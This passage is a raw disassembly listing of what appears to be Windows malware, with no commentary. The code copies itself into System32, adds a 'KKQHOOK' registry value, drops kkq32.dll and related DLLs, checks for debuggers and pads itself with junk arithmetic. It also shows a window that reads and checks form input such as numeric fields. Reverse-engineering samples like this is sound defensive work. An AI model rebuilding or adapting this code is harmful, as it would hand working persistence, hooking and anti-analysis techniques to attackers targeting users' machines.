-7C1h var_7C0 = dword ptr -7C0h var_7BC = dword ptr -7BCh var_7B8 = byte ptr -7B8h var_7B2 = byte ptr -7B2h var_7AA = byte ptr -7AAh var_7A2 = byte ptr -7A2h var_79F = byte ptr -79Fh var_799 = byte ptr -799h var_798 = byte ptr -798h var_790 = dword ptr -790h var_78C = byte ptr -78Ch var_784 = byte ptr -784h var_77D = byte ptr -77Dh var_775 = dword ptr -775h var_771 = byte ptr -771h var_76A = byte ptr -76Ah var_66B = byte ptr -66Bh var_56C = byte ptr -56Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = byte ptr -460h var_35C = dword ptr -35Ch var_357 = byte ptr -357h var_356 = word ptr -356h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34A = byte ptr -34Ah var_2E6 = byte ptr -2E6h var_282 = word ptr -282h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_275 = byte ptr -275h var_274 = word ptr -274h var_272 = byte ptr -272h var_271 = byte ptr -271h var_270 = word ptr -270h var_26E = byte ptr -26Eh var_16A = word ptr -16Ah var_168 = dword ptr -168h var_162 = byte ptr -162h var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = dword ptr -5Ch var_55 = dword ptr -55h var_51 = dword ptr -51h var_4D = dword ptr -4Dh var_49 = dword ptr -49h var_45 = dword ptr -45h var_41 = dword ptr -41h var_3D = dword ptr -3Dh var_39 = dword ptr -39h var_35 = dword ptr -35h var_31 = dword ptr -31h var_2D = byte ptr -2Dh var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_1D = byte ptr -1Dh var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7CCh push ebx push esi push edi lea edi, [ebp+var_771] lea esi, a2F ; "2! f <" mov ecx, 7 rep movsb call sub_40AB2B call sub_40C938 ; GetCurrentProcessId mov eax, dword_446A65 mov [ebp+var_775], eax push 104h lea eax, [ebp+var_162] push eax call sub_40C9A4 ; GetSystemDirectoryA call sub_40C9C8 ; GetTickCount push 13h push offset aIIS ; "ә" call sub_40129C push eax lea edi, [ebp+var_162] push edi call sub_40CE78 add esp, 10h call sub_40C9C8 ; GetTickCount push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_162] push eax call sub_40CAD0 ; CreateFileA mov [ebp+var_35C], eax cmp eax, 0FFFFFFFFh jnz short loc_40AC1C call sub_408585 jmp short loc_40AC27 ; --------------------------------------------------------------------------- loc_40AC1C: ; CODE XREF: sub_40AB84+8Fj push [ebp+var_35C] call sub_40C9B0 ; CloseHandle loc_40AC27: ; CODE XREF: sub_40AB84+96j mov [ebp+var_168], 5B91h mov eax, 1A91h mul [ebp+var_168] mov [ebp+var_7BC], eax mov [ebp+var_168], eax push 9 push offset asc_446C61 ; "" call sub_40129C push eax call sub_40CA04 ; GlobalAddAtomA mov [ebp+var_5D], 41h movzx eax, [ebp+var_5D] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5D], al mov eax, [ebp+arg_0] mov ds:dword_41E9AC, eax mov ds:dword_4195C0, 94h push offset dword_4195C0 call sub_40C9E0 ; GetVersionExA lea edi, [ebp+var_77D] lea esi, a@63M ; "@63!m/#" movsd movsd push 0FFh push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" call sub_40C9A4 ; GetSystemDirectoryA mov [ebp+var_16A], 3DFFh sub [ebp+var_16A], 0F2Dh call sub_40C9C8 ; GetTickCount push eax call sub_40CE60 call sub_40C9C8 ; GetTickCount push 104h lea eax, [ebp+var_460] push eax push [ebp+arg_0] call sub_40C974 ; GetModuleFileNameA call sub_40C9D4 ; GetVersion and [ebp+var_5C], 0 mov [ebp+var_464], 4 lea edi, [ebp+var_78C] lea esi, a@7sHkf ; "@7s hKf" mov ecx, 2 rep movsd lea eax, [ebp+var_784] push eax lea eax, [ebp+var_464] push eax lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014CB add esp, 24h mov [ebp+var_468], eax call sub_40C998 ; GetProcessHeap cmp [ebp+var_468], 0 jz short loc_40AD7D call sub_40C938 ; GetCurrentProcessId cmp [ebp+var_5C], 1Eh jbe short loc_40AD5A mov eax, 0Ch sub eax, dword_43C098 push eax call sub_40CE00 pop ecx loc_40AD5A: ; CODE XREF: sub_40AB84+1C2j call sub_40C938 ; GetCurrentProcessId cmp [ebp+var_5C], 1Eh jz loc_40AEE4 lea edi, [ebp+var_7C2] lea esi, a2A ; "2=$-a" mov ecx, 3 rep movsw loc_40AD7D: ; CODE XREF: sub_40AB84+1B7j mov eax, dword_446A7F mov [ebp+var_790], eax lea edi, [ebp+var_798] lea esi, aNpy4 ; " NPy4/#" movsd movsd call sub_40CE3C mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_2D], dl mov [ebp+var_270], 5505h sub [ebp+var_270], 57EEh mov [ebp+var_1], 1 jmp short loc_40ADFF ; --------------------------------------------------------------------------- loc_40ADD2: ; CODE XREF: sub_40AB84+280j call sub_40CE3C movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_2D], dl add [ebp+var_1], 1 loc_40ADFF: ; CODE XREF: sub_40AB84+24Cj mov al, [ebp+var_1] cmp al, 8 jbe short loc_40ADD2 lea edi, [ebp+var_799] lea esi, byte_446A8B xor ecx, ecx inc ecx rep movsb mov [ebp+var_25], 0 call sub_40CE3C mov edx, eax test dl, 1 jnz short loc_40AE47 lea edi, [ebp+var_7C1] lea esi, a8s ; "%8s " mov ecx, 5 rep movsb mov [ebp+var_27], 33h call sub_40C968 ; RtlGetLastWin32Error mov [ebp+var_26], 32h loc_40AE47: ; CODE XREF: sub_40AB84+2A1j push 9 push offset aTItS_1 ; "ę" call sub_40129C lea edi, [ebp+var_2D] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_26E] push edi call sub_40CE54 push 0 lea eax, [ebp+var_26E] push eax lea eax, [ebp+var_460] push eax call sub_40CA70 ; CopyFileA mov [ebp+var_271], 5Ch add [ebp+var_271], 0C9h lea eax, [ebp+var_2D] push eax call sub_403D2D call sub_40CA58 ; IsDebuggerPresent mov [ebp+var_5C], 1Eh push 4 push 4 lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401614 add esp, 34h push 0 lea eax, [ebp+var_26E] push eax call sub_40CB3C ; WinExec call sub_4041FC mov eax, 3 sub eax, dword_43C094 push eax call sub_40C914 ; ExitProcess loc_40AEE4: ; CODE XREF: sub_40AB84+1DFj push 5 push offset aTIt ; "" call sub_40129C push offset aKkq32_dll ; "kkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax push offset dword_41FC40 call sub_40CE54 mov [ebp+var_272], 0A7h sub [ebp+var_272], 65h push 5 push offset aTIt ; "" call sub_40129C push offset aDnkkq_dll ; "dnkkq.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax push offset dword_40F270 call sub_40CE54 mov [ebp+var_274], 2AE3h add [ebp+var_274], 863h push 5 push offset aTIt ; "" call sub_40129C push offset aDatkkq32_dll ; "datkkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax push offset dword_40E070 call sub_40CE54 mov [ebp+var_275], 2 add [ebp+var_275], 1 push 0Eh push offset aTIS_1 ; "" call sub_40129C push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax push offset dword_41E9B0 call sub_40CE54 call sub_40CA58 ; IsDebuggerPresent push 0FFh push offset dword_414DF0 call sub_40C9F8 ; GetWindowsDirectoryA mov [ebp+var_5E], 0D0h movzx eax, [ebp+var_5E] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5E], al push 9 push offset aIS_1 ; "Ù" call sub_40129C push eax push offset dword_414DF0 call sub_40CE78 mov [ebp+var_27C], 5F69h mov eax, 686h mul [ebp+var_27C] mov [ebp+var_7C0], eax mov [ebp+var_27C], eax lea eax, aKkqhook ; "KKQHOOK" mov [ebp+var_31], eax mov [ebp+var_280], 58Dh sub [ebp+var_280], 3802h mov eax, ds:dword_41E9AC mov [ebp+var_45], eax lea eax, sub_40B525 mov [ebp+var_51], eax push 7F00h push 0 call sub_40CBF0 ; LoadCursorA mov [ebp+var_3D], eax call sub_40CA58 ; IsDebuggerPresent push 7F03h push 0 call sub_40CC08 ; LoadIconA mov [ebp+var_41], eax call sub_40C998 ; GetProcessHeap and [ebp+var_35], 0 push 0 call sub_40CCEC ; GetStockObject mov [ebp+var_39], eax mov [ebp+var_282], 1AB1h inc [ebp+var_282] mov [ebp+var_55], 3 and [ebp+var_4D], 0 and [ebp+var_49], 0 lea eax, [ebp+var_55] push eax call sub_40CC98 ; RegisterClassA call sub_40C998 ; GetProcessHeap push 0 push ds:dword_41E9AC push 0 push 0 push 0 push 0 push 0 push 0 push 0CA0000h push offset aKkqhook ; "KKQHOOK" push offset aKkqhook ; "KKQHOOK" push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_41C7D8, eax push offset aKkqhook_30 ; "KKQHOOK_30" push 0 push 0 call sub_40CB54 ; CreateMutexA call sub_40C944 ; GetCurrentThreadId push 2 call sub_402B9B add esp, 70h mov ebx, 4F95h mov eax, ebx add eax, ebx mov ebx, eax call sub_40C9D4 ; GetVersion cmp eax, 80000000h jb short loc_40B14E mov dword ptr [ebp-7C4h], 1AA7h inc dword ptr [ebp-7C4h] push 0Ch push offset aDes ; "ۄ" call sub_40129C push eax call sub_40C980 ; GetModuleHandleA mov edi, eax push 16h push offset aXFC ; "" call sub_40129C add esp, 10h push eax push edi call sub_40C98C ; GetProcAddress mov [ebp+var_7CC], eax call sub_40C938 ; GetCurrentProcessId mov edi, 3 sub edi, dword_43C094 push edi push eax call [ebp+var_7CC] mov [ebp+var_7C8], 282Dh add [ebp+var_7C8], 6908h loc_40B14E: ; CODE XREF: sub_40AB84+55Cj lea edi, [ebp+var_79F] lea esi, aAlnb ; "<alNB" mov ecx, 3 rep movsw push 104h lea eax, [ebp+var_56C] push eax push 0 call sub_40C974 ; GetModuleFileNameA call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_56C] push eax call sub_403530 call sub_40C998 ; GetProcessHeap push offset dword_41FC40 call sub_403530 call sub_40C944 ; GetCurrentThreadId push offset dword_40F270 call sub_403530 push offset dword_40E070 call sub_403530 lea edi, [ebp+var_7A2] lea esi, aE ; " E" mov ecx, 3 rep movsb call sub_40C938 ; GetCurrentProcessId push eax call sub_4037FA call sub_40C9D4 ; GetVersion lea edi, [ebp+var_7AA] lea esi, aGxVY ; "X= <Y" mov ecx, 2 rep movsd lea eax, [ebp+var_2E6] push eax call sub_403AED call sub_40C968 ; RtlGetLastWin32Error and [ebp+var_350], 0 mov [ebp+var_354], 64h call sub_40C938 ; GetCurrentProcessId push 45h push offset byte_446BAD call sub_40129C lea edi, [ebp+var_350] push edi lea edi, [ebp+var_354] push edi lea edi, [ebp+var_34A] push edi lea edi, [ebp+var_2E6] push edi push eax push 80000002h call sub_4014CB call sub_40CA58 ; IsDebuggerPresent push 1 push offset byte_446BAB call sub_40129C push eax lea edi, [ebp+var_34A] push edi call sub_4038DA push 1 push offset byte_446BA9 call sub_40129C push eax lea edi, [ebp+var_2E6] push edi call sub_4038DA call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_7B2] lea esi, aLke4me ; " lkE4me" mov ecx, 2 rep movsd push 17h push offset byte_446B91 call sub_40129C lea edi, [ebp+var_34A] push edi push eax lea edi, [ebp+var_76A] push edi call sub_40CE54 mov [ebp+var_356], 0D4Dh sub [ebp+var_356], 37Dh lea eax, [ebp+var_350] push eax lea eax, [ebp+var_354] push eax lea eax, [ebp+var_66B] push eax push 0 lea eax, [ebp+var_76A] push eax push 80000000h call sub_4014CB mov [ebp+var_357], 4Fh sub [ebp+var_357], 9Ah lea eax, [ebp+var_66B] push eax call sub_403530 call sub_403BBF call sub_40C9D4 ; GetVersion push offset sub_408165 call sub_40802E add esp, 8Ch lea eax, [ebp+var_7B8] push eax push 0 push 0 push offset sub_409A96 push 0 push 0 call sub_40CB84 ; CreateThread push eax call sub_40C9B0 ; CloseHandle call sub_40CA58 ; IsDebuggerPresent push 0 mov eax, dword_43C098 mov edx, eax add edx, 1E9h push edx mov edx, 0Ch sub edx, eax push edx push ds:dword_41C7D8 call sub_40CBFC ; SetTimer call sub_40C998 ; GetProcessHeap jmp short loc_40B3AC ; --------------------------------------------------------------------------- loc_40B369: ; CODE XREF: sub_40AB84+839j mov dword ptr [ebp-7C4h], 13EFh mov eax, [ebp-7C4h] mov edx, eax add edx, eax mov [ebp-7C4h], edx lea eax, [ebp+var_1D] push eax call sub_40CC68 ; TranslateMessage mov word ptr [ebp+var_7C8+2], 5116h add word ptr [ebp+var_7C8+2], 3A9Eh lea eax, [ebp+var_1D] push eax call sub_40CC74 ; DispatchMessageA call sub_40CA58 ; IsDebuggerPresent loc_40B3AC: ; CODE XREF: sub_40AB84+7E3j push 0 push 0 push 0 lea eax, [ebp+var_1D] push eax call sub_40CC20 ; GetMessageA or eax, eax jnz short loc_40B369 pop edi pop esi pop ebx leave retn 10h sub_40AB84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3C6 proc near ; DATA XREF: sub_408FEB+9D7o ; sub_408FEB+A13o ... var_23 = byte ptr -23h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_13 = byte ptr -13h var_10 = byte ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_A], 489h movzx eax, [ebp+var_A] imul eax, 56B5h mov [ebp+var_A], ax mov eax, [ebp+arg_4] cmp eax, 100h jz short loc_40B3FA jmp loc_40B484 ; --------------------------------------------------------------------------- call sub_40C968 ; RtlGetLastWin32Error loc_40B3FA: ; CODE XREF: sub_40B3C6+28j mov ax, word_446AAA mov [ebp+var_1C], ax cmp [ebp+arg_8], 9 jnz short loc_40B484 mov [ebp+var_1A], 0F2Ah movzx eax, [ebp+var_1A] imul eax, 1D80h mov [ebp+var_1A], ax cmp ebx, ds:dword_410890 jnz short loc_40B431 push ds:dword_432FB4 call sub_40CBD8 ; SetFocus loc_40B431: ; CODE XREF: sub_40B3C6+5Ej call sub_40C9C8 ; GetTickCount cmp ebx, ds:dword_432FB4 jnz short loc_40B449 push ds:dword_41E9A4 call sub_40CBD8 ; SetFocus loc_40B449: ; CODE XREF: sub_40B3C6+76j lea edi, [ebp+var_23] lea esi, aEHzR ; "E|hz!R" mov ecx, 7 rep movsb cmp ebx, ds:dword_41E9A4 jnz short loc_40B46C push ds:dword_41E99C call sub_40CBD8 ; SetFocus loc_40B46C: ; CODE XREF: sub_40B3C6+99j cmp ebx, ds:dword_41E99C jnz short loc_40B47F push ds:dword_432FB4 call sub_40CBD8 ; SetFocus loc_40B47F: ; CODE XREF: sub_40B3C6+ACj call sub_40C944 ; GetCurrentThreadId loc_40B484: ; CODE XREF: sub_40B3C6+2Aj ; sub_40B3C6+42j and [ebp+var_4], 0 cmp ebx, ds:dword_432FB4 jnz short loc_40B498 mov eax, ds:dword_41FC38 mov [ebp+var_4], eax loc_40B498: ; CODE XREF: sub_40B3C6+C8j lea edi, [ebp+var_10] lea esi, aPeck ; " PEck" mov ecx, 3 rep movsw cmp ebx, ds:dword_41E9A4 jnz short loc_40B4B9 mov eax, ds:dword_41E9A0 mov [ebp+var_4], eax loc_40B4B9: ; CODE XREF: sub_40B3C6+E9j call sub_40C944 ; GetCurrentThreadId cmp ebx, ds:dword_410890 jnz short loc_40B4CE mov eax, ds:dword_40E060 mov [ebp+var_4], eax loc_40B4CE: ; CODE XREF: sub_40B3C6+FEj lea edi, [ebp+var_13] lea esi, aQ_0 ; "-Q" mov ecx, 3 rep movsb cmp ebx, ds:dword_41E99C jnz short loc_40B4EE mov eax, ds:dword_413E00 mov [ebp+var_4], eax loc_40B4EE: ; CODE XREF: sub_40B3C6+11Ej call sub_40C998 ; GetProcessHeap cmp [ebp+var_4], 0 jz short loc_40B50D push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx push [ebp+var_4] call sub_40CB90 ; CallWindowProcA jmp short loc_40B51E ; --------------------------------------------------------------------------- loc_40B50D: ; CODE XREF: sub_40B3C6+131j mov [ebp+var_8], 7A55h mov eax, [ebp+var_8] mov edx, eax add edx, eax mov [ebp+var_8], edx loc_40B51E: ; CODE XREF: sub_40B3C6+145j pop edi pop esi pop ebx leave retn 10h sub_40B3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B525 proc near ; DATA XREF: sub_40AB84+48Fo var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = byte ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_241 = byte ptr -241h var_142 = word ptr -142h var_140 = byte ptr -140h var_13F = dword ptr -13Fh var_13B = dword ptr -13Bh var_137 = byte ptr -137h var_136 = word ptr -136h var_134 = byte ptr -134h var_133 = byte ptr -133h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_117 = byte ptr -117h var_116 = byte ptr -116h var_115 = byte ptr -115h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = word ptr -10Ch var_109 = byte ptr -109h var_108 = dword ptr -108h var_104 = word ptr -104h var_101 = byte ptr -101h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi call sub_40C9D4 ; GetVersion mov eax, [ebp+arg_4] cmp eax, 10h jz loc_40B743 jg short loc_40B552 cmp eax, 2 jz loc_40B729 jmp loc_40BE05 ; --------------------------------------------------------------------------- loc_40B552: ; CODE XREF: sub_40B525+1Dj cmp eax, 111h jz loc_40B85A cmp eax, 113h jz short loc_40B59C cmp eax, 111h jl loc_40BE05 cmp eax, 138h jz loc_40B76C jmp loc_40BE05 ; --------------------------------------------------------------------------- mov [ebp+var_104], 1FBDh movzx eax, [ebp+var_104] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_104], ax loc_40B59C: ; CODE XREF: sub_40B525+3Dj lea edi, [ebp+var_133] lea esi, aFr0Im ; "fR0~Im" mov ecx, 7 rep movsb cmp dword_43C224, 0 jz loc_40B6F5 mov [ebp+var_24C], 3018h sub [ebp+var_24C], 4628h push 9 push offset dword_446E74 call sub_40129C push eax push dword_43C224 call sub_408F56 mov [ebp+var_258], eax push 8 push offset byte_446E6B call sub_40129C push eax push [ebp+var_258] call sub_408F56 add esp, 20h mov [ebp+var_25C], eax lea edi, [ebp+var_264] lea esi, aQXsq ; "/ q#xsq" movsd movsd lea eax, [ebp+var_274] push eax push [ebp+var_25C] call sub_40CBA8 ; GetWindowRect or eax, eax jz loc_40B6F5 mov word ptr [ebp+var_250+2], 5BFDh inc word ptr [ebp+var_250+2] lea eax, [ebp+var_284] push eax push ds:dword_41FD44 call sub_40CBA8 ; GetWindowRect or eax, eax jz loc_40B6F5 mov [ebp+var_254], 1CFAh mov eax, 1D12h mul [ebp+var_254] mov [ebp+var_288], eax mov [ebp+var_254], eax mov eax, [ebp+var_26C] sub eax, [ebp+var_274] sub eax, 4 mov edx, [ebp+var_27C] sub edx, [ebp+var_284] cmp eax, edx jnz short loc_40B6C0 mov eax, [ebp+var_268] sub eax, [ebp+var_270] sub eax, 4 mov edx, [ebp+var_278] sub edx, [ebp+var_280] cmp eax, edx jz short loc_40B6F5 loc_40B6C0: ; CODE XREF: sub_40B525+17Aj call sub_40C938 ; GetCurrentProcessId push 1 mov eax, [ebp+var_268] sub eax, [ebp+var_270] push eax mov eax, [ebp+var_26C] sub eax, [ebp+var_274] push eax push 0 push 0 push ds:dword_41FD44 call sub_40CCD4 ; MoveWindow call sub_40C9D4 ; GetVersion loc_40B6F5: ; CODE XREF: sub_40B525+91j ; sub_40B525+10Cj ... cmp dword_43C220, 0 jz loc_40BE28 call sub_40C998 ; GetProcessHeap mov eax, dword_43C220 mov dword_43C224, eax and dword_43C220, 0 push eax call sub_408FEB pop ecx call sub_40C938 ; GetCurrentProcessId jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B729: ; CODE XREF: sub_40B525+22j mov eax, ds:dword_41C7D8 cmp [ebp+arg_0], eax jnz loc_40BE28 push 0 call sub_40CCA4 ; PostQuitMessage jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B743: ; CODE XREF: sub_40B525+17j mov eax, ds:dword_41C7D8 cmp [ebp+arg_0], eax jnz short loc_40B755 push [ebp+arg_0] call sub_40CCC8 ; DestroyWindow loc_40B755: ; CODE XREF: sub_40B525+226j mov [ebp+var_10C], 6A07h sub [ebp+var_10C], 13B3h jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40B525+4Fj mov eax, [ebp+arg_C] mov [ebp+var_12C], eax call sub_40C9C8 ; GetTickCount mov eax, [ebp+var_12C] cmp eax, ds:dword_432FAC jz short loc_40B7B4 cmp eax, ds:dword_413E04 jz short loc_40B7B4 cmp eax, ds:dword_41B7BC jz short loc_40B7B4 cmp eax, ds:dword_4351E4 jz short loc_40B7B4 cmp eax, ds:dword_432FB0 jz short loc_40B7B4 cmp eax, ds:dword_43A498 jnz loc_40BE28 loc_40B7B4: ; CODE XREF: sub_40B525+261j ; sub_40B525+269j ... call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+var_12C] cmp eax, ds:dword_432FB0 jz short loc_40B7CF cmp eax, ds:dword_43A498 jnz short loc_40B7DE loc_40B7CF: ; CODE XREF: sub_40B525+2A0j push 1010B0h push [ebp+arg_8] call sub_40CD04 ; SetTextColor jmp short loc_40B7E8 ; --------------------------------------------------------------------------- loc_40B7DE: ; CODE XREF: sub_40B525+2A8j push 0 push [ebp+arg_8] call sub_40CD04 ; SetTextColor loc_40B7E8: ; CODE XREF: sub_40B525+2B7j mov byte ptr [ebp+var_24C+1], 0CCh add byte ptr [ebp+var_24C+1], 1 push 0FFFFFFh push [ebp+arg_8] call sub_40CCF8 ; SetBkColor mov word ptr [ebp+var_24C+2], 3240h movzx eax, word ptr [ebp+var_24C+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_24C+2], ax and [ebp+var_260], 0 and [ebp+var_25C], 0 lea eax, [ebp+var_260] push eax call sub_40CD10 ; CreateBrushIndirect mov [ebp+var_254], eax jmp loc_40BE28 ; --------------------------------------------------------------------------- mov [ebp+var_250], 73F9h inc [ebp+var_250] jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B85A: ; CODE XREF: sub_40B525+32j lea edi, [ebp+var_134] lea esi, byte_446ACB xor ecx, ecx inc ecx rep movsb push 2 push offset word_446B8E call sub_40129C push offset byte_434080 push eax lea edi, [ebp+var_241] push edi call sub_40CE54 add esp, 14h mov ax, word_446ACC mov [ebp+var_136], ax push 0FFh lea eax, [ebp+var_FF] push eax push ds:dword_432FB4 call sub_40CB9C ; GetWindowTextA lea edi, [ebp+var_137] lea esi, off_446ACE xor ecx, ecx inc ecx rep movsb cmp [ebp+var_FF], 0 jnz short loc_40B91D call sub_40C998 ; GetProcessHeap push 1Fh push offset word_446B6E call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40CC14 ; MessageBoxA lea edi, [ebp+var_250+3] lea esi, off_446ACE+1 mov ecx, 3 rep movsb push ds:dword_432FB4 call sub_40CBD8 ; SetFocus mov word ptr [ebp+var_24C+2], 2A2Dh inc word ptr [ebp+var_24C+2] jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B91D: ; CODE XREF: sub_40B525+3A3j push 5 push offset aTCt ; "ė" call sub_40129C lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_241] push edi push eax lea edi, [ebp+var_241] push edi call sub_40CE54 add esp, 18h mov eax, dword_446AD2 mov [ebp+var_13B], eax push 0FFh lea eax, [ebp+var_FF] push eax push ds:dword_41E9A4 call sub_40CB9C ; GetWindowTextA mov eax, dword_446AD6 mov [ebp+var_13F], eax cmp [ebp+var_FF], 0 jnz short loc_40B9DA call sub_40C9C8 ; GetTickCount push 1Eh push offset byte_446B49 call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40CC14 ; MessageBoxA mov byte ptr [ebp+var_24C+3], 3 movzx eax, byte ptr [ebp+var_24C+3] imul eax, 1F7Ah mov byte ptr [ebp+var_24C+3], al push ds:dword_41E9A4 call sub_40CBD8 ; SetFocus lea edi, [ebp+var_250] lea esi, aYrJ4? ; "yR j4?" mov ecx, 7 rep movsb jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40B9DA: ; CODE XREF: sub_40B525+456j push 5 push offset aTT ; "Ě" call sub_40129C lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_241] push edi push eax lea edi, [ebp+var_241] push edi call sub_40CE54 add esp, 18h mov [ebp+var_108], 3054h mov eax, [ebp+var_108] mov edx, eax add edx, eax mov [ebp+var_108], edx push 0FFh lea eax, [ebp+var_FF] push eax push ds:dword_41E99C call sub_40CB9C ; GetWindowTextA cmp [ebp+var_FF], 0 jz loc_40BB90 lea edi, [ebp+var_140] lea esi, byte_446AE1 xor ecx, ecx inc ecx rep movsb lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_40BA5C: ; CODE XREF: sub_40B525+53Cj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BA5C cmp eax, 4 jb loc_40BB90 mov [ebp+var_110], 4F96h add [ebp+var_110], 1BCDh mov [ebp+var_101], 0 jmp short loc_40BAAB ; --------------------------------------------------------------------------- loc_40BA89: ; CODE XREF: sub_40B525+59Fj movzx eax, [ebp+var_101] mov al, [ebp+eax+var_FF] cmp al, 30h jl short loc_40BA9F cmp al, 39h jle short loc_40BAA4 loc_40BA9F: ; CODE XREF: sub_40B525+574j jmp loc_40BB90 ; --------------------------------------------------------------------------- loc_40BAA4: ; CODE XREF: sub_40B525+578j add [ebp+var_101], 1 loc_40BAAB: ; CODE XREF: sub_40B525+562j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_40BAB4: ; CODE XREF: sub_40B525+594j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BAB4 movzx esi, [ebp+var_101] cmp esi, eax jb short loc_40BA89 mov [ebp+var_100], 0 jmp loc_40BB6C ; --------------------------------------------------------------------------- loc_40BAD2: ; CODE XREF: sub_40B525+660j lea edi, [ebp+var_250+1] lea esi, a_Wqj ; ". wQj" mov ecx, 3 rep movsw call sub_40C998 ; GetProcessHeap mov al, [ebp+var_100] mov byte ptr [ebp+var_24C+3], al jmp short loc_40BB22 ; --------------------------------------------------------------------------- loc_40BAF9: ; CODE XREF: sub_40B525+616j movzx eax, byte ptr [ebp+var_24C+3] movsx eax, [ebp+eax+var_FF] movzx edx, [ebp+var_100] movsx edx, [ebp+edx+var_FF] cmp eax, edx jnz short loc_40BB3D add byte ptr [ebp+var_24C+3], 1 loc_40BB22: ; CODE XREF: sub_40B525+5D2j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_40BB2B: ; CODE XREF: sub_40B525+60Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BB2B movzx esi, byte ptr [ebp+var_24C+3] cmp esi, eax jb short loc_40BAF9 loc_40BB3D: ; CODE XREF: sub_40B525+5F4j call sub_40C968 ; RtlGetLastWin32Error movzx eax, byte ptr [ebp+var_24C+3] movzx edx, [ebp+var_100] sub eax, edx cmp eax, 3 jg short loc_40BB90 lea edi, [ebp+var_258+1] lea esi, aE?qK ; "e* ?Q k" movsd movsd add [ebp+var_100], 1 loc_40BB6C: ; CODE XREF: sub_40B525+5A8j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_40BB75: ; CODE XREF: sub_40B525+655j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BB75 movzx esi, [ebp+var_100] cmp esi, eax jb loc_40BAD2 jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40BB90: ; CODE XREF: sub_40B525+517j ; sub_40B525+541j ... mov eax, dword_43C098 add eax, 7C5h push eax call sub_40CDDC mov [ebp+var_114], 1022h mov eax, 50Ah mul [ebp+var_114] mov [ebp+var_24C], eax mov [ebp+var_114], eax push 35h push offset byte_446B0D call sub_40129C mov [ebp+var_250], eax push 13h push offset aTCC ; "җؗ" call sub_40129C add esp, 14h push 0 push eax mov edi, [ebp+var_250] push edi push 0 call sub_40CC14 ; MessageBoxA mov [ebp+var_115], 0E0h movzx eax, [ebp+var_115] imul eax, 6D4Dh mov [ebp+var_115], al push ds:dword_41E99C call sub_40CBD8 ; SetFocus call sub_40C944 ; 